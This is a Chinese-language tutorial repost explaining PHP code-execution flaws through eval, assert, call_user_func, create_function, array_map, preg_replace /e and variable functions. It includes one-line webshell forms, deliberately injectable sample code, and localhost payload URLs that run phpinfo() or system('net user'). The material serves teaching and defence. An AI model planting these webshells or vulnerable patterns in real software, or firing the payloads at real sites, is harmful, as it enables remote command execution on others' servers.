庆娣 發表於 2020-2-3 14:32:00

PHP代码执行漏洞

<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">前言</p>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203143336785-1404963408.png" alt="" width="272" height="315"></p>
<p>&nbsp;最近的日子简简单单 早上起来健身+散打来一套 看看电视剧学习学习吃吃饭一天就结束了emmmm太快了一天 所以要更加努力!更加勤奋!</p>
<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">PHP代码执行漏洞</p>
<p>有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将改函数的参数当做PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码</p>
<p><span style="font-size: 14pt">&nbsp;<strong>1.&nbsp;</strong><strong>eval函数</strong></span></p>
<p>eval函数把字符串作为PHP代码执行</p>
<div class="cnblogs_code">
<pre>&lt;?php <span style="color: rgba(0, 0, 255, 1)">eval</span>("<span style="color: rgba(128, 0, 128, 1)">$_POST</span>")?&gt;</pre>
</div>
<p>&nbsp;</p>
<p>&nbsp;<img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203141706799-1982669665.png" alt=""></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span style="font-size: 14pt">&nbsp;<strong>2.&nbsp;</strong><strong>assert函数</strong></span></p>
<p>assert函数检查一个断言是否为FALSE</p>
<div class="cnblogs_code">
<pre>&lt;?php <span style="color: rgba(0, 128, 128, 1)">assert</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>)?&gt;</pre>
</div>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203141752884-1380178299.png" alt="" width="295" height="279"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span style="font-size: 14pt">&nbsp;<strong>3.</strong><strong>call_user_func函数</strong></span></p>
<p>call_user_func函数把第一个参数作为回调函数调用</p>
<div class="cnblogs_code">
<pre>函数语法:<span style="color: rgba(0, 0, 255, 1)">mixed</span> <span style="color: rgba(0, 128, 128, 1)">call_user_func</span> ( callable <span style="color: rgba(128, 0, 128, 1)">$callback</span> , <span style="color: rgba(0, 0, 255, 1)">array</span> <span style="color: rgba(128, 0, 128, 1)">$param_arr</span> )</pre>
</div>
<p>第一个参数callback是被调用的回调函数,其余参数是回调函数的参数</p>
<div class="cnblogs_code">
<pre>&lt;?php <span style="color: rgba(0, 128, 128, 1)">call_user_func</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['fun'],<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['arg'])?&gt;</pre>
</div>
<p>&nbsp;</p>
<p>此代码为一句话木马的变形代码,通过POST型fun参数调用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息</p>
<p>&nbsp;<img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203141822306-56298529.png" alt=""></p>
<p>&nbsp;</p>
<p><span style="font-size: 14pt"><strong>4.&nbsp;</strong><strong>call_user_fun_array函数</strong></span></p>
<p>call_user_func_array函数把第一个参数作为毁掉函数调用,把参数参数函数组作为回调函数</p>
<div class="cnblogs_code">
<pre>函数语法:<span style="color: rgba(0, 0, 255, 1)">mixed</span> <span style="color: rgba(0, 128, 128, 1)">call_user_func_array</span> ( callable <span style="color: rgba(128, 0, 128, 1)">$callback</span> , <span style="color: rgba(0, 0, 255, 1)">array</span> <span style="color: rgba(128, 0, 128, 1)">$param_arr</span> )</pre>
</div>
<p>&nbsp;</p>
<p>call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入</p>
<div class="cnblogs_code">
<pre>&lt;?php <span style="color: rgba(0, 128, 128, 1)">call_user_func_array</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['fun'],<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['arg'])?&gt;</pre>
</div>
<p>&nbsp;</p>
<p><span style="font-size: 14pt"><strong>5.create_function函数</strong></span></p>
<p>create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一的名称</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">函数语法:string</span> <span style="color: rgba(0, 128, 128, 1)">create_function</span>(<span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 128, 1)">$arges</span> , <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 128, 1)">$code</span>)</pre>
</div>
<p>&nbsp;</p>
<p>&nbsp;示例代码:</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php

</span><span style="color: rgba(128, 0, 128, 1)">$id</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['id'<span style="color: rgba(0, 0, 0, 1)">];

</span><span style="color: rgba(128, 0, 128, 1)">$code</span>='echo'.<span style="color: rgba(128, 0, 128, 1)">$func</span>.'test'.<span style="color: rgba(128, 0, 128, 1)">$id</span>.'.'<span style="color: rgba(0, 0, 0, 1)">;

</span><span style="color: rgba(0, 128, 128, 1)">create_function</span>('$func',<span style="color: rgba(128, 0, 128, 1)">$code</span><span style="color: rgba(0, 0, 0, 1)">);

</span>?&gt;</pre>
</div>
<p>create_function函数会创建虚拟函数转变成如下代码</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php

</span><span style="color: rgba(128, 0, 128, 1)">$id</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['id'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">function</span> func(<span style="color: rgba(128, 0, 128, 1)">$func</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "test".<span style="color: rgba(128, 0, 128, 1)">$id</span><span style="color: rgba(0, 0, 0, 1)">;

}

</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p>当id传入1;}phpinfo();/*时 就可以造成代码执行</p>
<p><strong>Payload:&nbsp;</strong></p>
<div class="cnblogs_code">
<pre>http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/test.php?id=1;}phpinfo();/*</span></pre>
</div>
<p>&nbsp;</p>
<p>&nbsp;<img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203142345266-54095166.png" alt=""></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span style="font-size: 14pt"><strong>6.&nbsp;</strong><strong>array_map函数</strong></span></p>
<p>array_map函数为数组的每个元素应用回调函数</p>
<div class="cnblogs_code">
<pre>函数语法:<span style="color: rgba(0, 0, 255, 1)">array</span> <span style="color: rgba(0, 128, 128, 1)">array_map</span>(callable <span style="color: rgba(128, 0, 128, 1)">$callback</span>,<span style="color: rgba(0, 0, 255, 1)">array</span> <span style="color: rgba(128, 0, 128, 1)">$array</span>[,<span style="color: rgba(0, 0, 255, 1)">array</span> <span style="color: rgba(128, 0, 128, 1)">$array2</span>…])</pre>
</div>
<p>&nbsp;</p>
<p>array_map函数返回为每个数组元素应用callback函数之后的数组。Callback函数形参的数量传给array_map函数的数组的数量必须相同</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$func</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['func'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$argv</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['argv'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$array</span>=<span style="color: rgba(128, 0, 128, 1)">$argv</span><span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">array_map</span>(<span style="color: rgba(128, 0, 128, 1)">$func</span>,<span style="color: rgba(128, 0, 128, 1)">$array</span><span style="color: rgba(0, 0, 0, 1)">);

</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p><strong>Payload:&nbsp;</strong></p>
<div class="cnblogs_code">
<pre>http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/test.php?func=system&amp;argv=net user</span></pre>
</div>
<p>&nbsp;</p>
<p>&nbsp;<img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203142401791-102637432.png" alt=""></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span style="font-size: 14pt">&nbsp;<strong>7.</strong><strong>preg_replace函数</strong></span></p>
<p>preg_replace函数执行一个正则表达式的搜索和替换</p>
<div class="cnblogs_code">
<pre>语法:<span style="color: rgba(0, 0, 255, 1)">mixed</span> <span style="color: rgba(0, 128, 128, 1)">preg_replace</span> ( <span style="color: rgba(0, 0, 255, 1)">mixed</span> <span style="color: rgba(128, 0, 128, 1)">$pattern</span> , <span style="color: rgba(0, 0, 255, 1)">mixed</span> <span style="color: rgba(128, 0, 128, 1)">$replacement</span> , <span style="color: rgba(0, 0, 255, 1)">mixed</span> <span style="color: rgba(128, 0, 128, 1)">$subject</span> [, int <span style="color: rgba(128, 0, 128, 1)">$limit</span> = -1 [, int &amp;<span style="color: rgba(128, 0, 128, 1)">$count</span> ]] )</pre>
</div>
<p>&nbsp;</p>
<p>搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$subject</span>="hello hack"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$pattern</span>='/hack/'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$replacement</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>["name"<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>(<span style="color: rgba(128, 0, 128, 1)">$pattern</span>,<span style="color: rgba(128, 0, 128, 1)">$replacement</span>,<span style="color: rgba(128, 0, 128, 1)">$subject</span><span style="color: rgba(0, 0, 0, 1)">)
</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p><strong>Payload:</strong></p>
<div class="cnblogs_code">
<pre>http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/test.php?name=xiaohua</span></pre>
</div>
<p>&nbsp;</p>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203142427638-151057082.png" alt=""></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Preg_replace函数会将hack替换成xiaohua,输出hello xiaohua</p>
<p>Preg_replace函数存在模式修饰符,其中,修饰符e会让preg_replace函数替换后的字符串作为PHP代码去执行。</p>
<p>如果设置了这个被弃用的修饰符,preg_replace函数对替换字符串进行后向引用替换之后,将替换后的字符串作为PHP代码执行(以eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线(\)和null字符在后面向引用替换时会被自动加上反斜线转义。</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$subject</span>="hello hack"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$pattern</span>='/hack/e'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$replacement</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>["name"<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>(<span style="color: rgba(128, 0, 128, 1)">$pattern</span>,<span style="color: rgba(128, 0, 128, 1)">$replacement</span>,<span style="color: rgba(128, 0, 128, 1)">$subject</span><span style="color: rgba(0, 0, 0, 1)">)
</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p><strong>Payload:&nbsp;</strong></p>
<div class="cnblogs_code">
<pre>http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1/test.php?name=phpinfo()</span></pre>
</div>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203142455134-1799157205.png" alt=""></p>
<p>&nbsp;</p>
<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">PHP可变函数</p>
<p>Php支持可变函数的概念:如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着在PHP中可以把函数名通过字符串的方式传给一个变量,然后通过此变量动态地调用函数</p>
<p>&nbsp;</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">function</span><span style="color: rgba(0, 0, 0, 1)"> foo(){
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "foo"<span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(0, 0, 255, 1)">function</span><span style="color: rgba(0, 0, 0, 1)"> bar(){
   </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "bar"<span style="color: rgba(0, 0, 0, 1)">;
   </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(0, 0, 255, 1)">function</span> echoit(<span style="color: rgba(128, 0, 128, 1)">$string</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$string</span><span style="color: rgba(0, 0, 0, 1)">;
   </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(128, 0, 128, 1)">$func</span>='foo'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$func</span><span style="color: rgba(0, 0, 0, 1)">();
</span><span style="color: rgba(128, 0, 128, 1)">$func</span>='bar'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$func</span>('test'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$func</span>='echoit'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$func</span>('test'<span style="color: rgba(0, 0, 0, 1)">)
</span>?&gt;</pre>
</div>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203143001538-633477319.png" alt="" width="395" height="240"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。</p>
<p>Php可变函数漏洞示例代码:</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">function</span><span style="color: rgba(0, 0, 0, 1)"> foo(){
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "foo"<span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(0, 0, 255, 1)">function</span> bar(<span style="color: rgba(128, 0, 128, 1)">$arg</span>=''<span style="color: rgba(0, 0, 0, 1)">){
   </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "bar"<span style="color: rgba(0, 0, 0, 1)">;
   </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(0, 0, 255, 1)">function</span> echoit(<span style="color: rgba(128, 0, 128, 1)">$string</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$string</span><span style="color: rgba(0, 0, 0, 1)">;
   </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(128, 0, 128, 1)">$func</span>=<span style="color: rgba(128, 0, 128, 1)">$_REQUEST</span>['func'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$string</span>=<span style="color: rgba(128, 0, 128, 1)">$_REQUEST</span>['string'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$func</span>(<span style="color: rgba(128, 0, 128, 1)">$string</span><span style="color: rgba(0, 0, 0, 1)">);

</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202002/967964-20200203143036104-586623192.png" alt=""></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>参考学习:《web安全原理分析与实践》</p>
<p>&nbsp;</p><br><br>
来源:https://www.cnblogs.com/xhds/p/12255609.html
頁: [1]
查看完整版本: PHP代码执行漏洞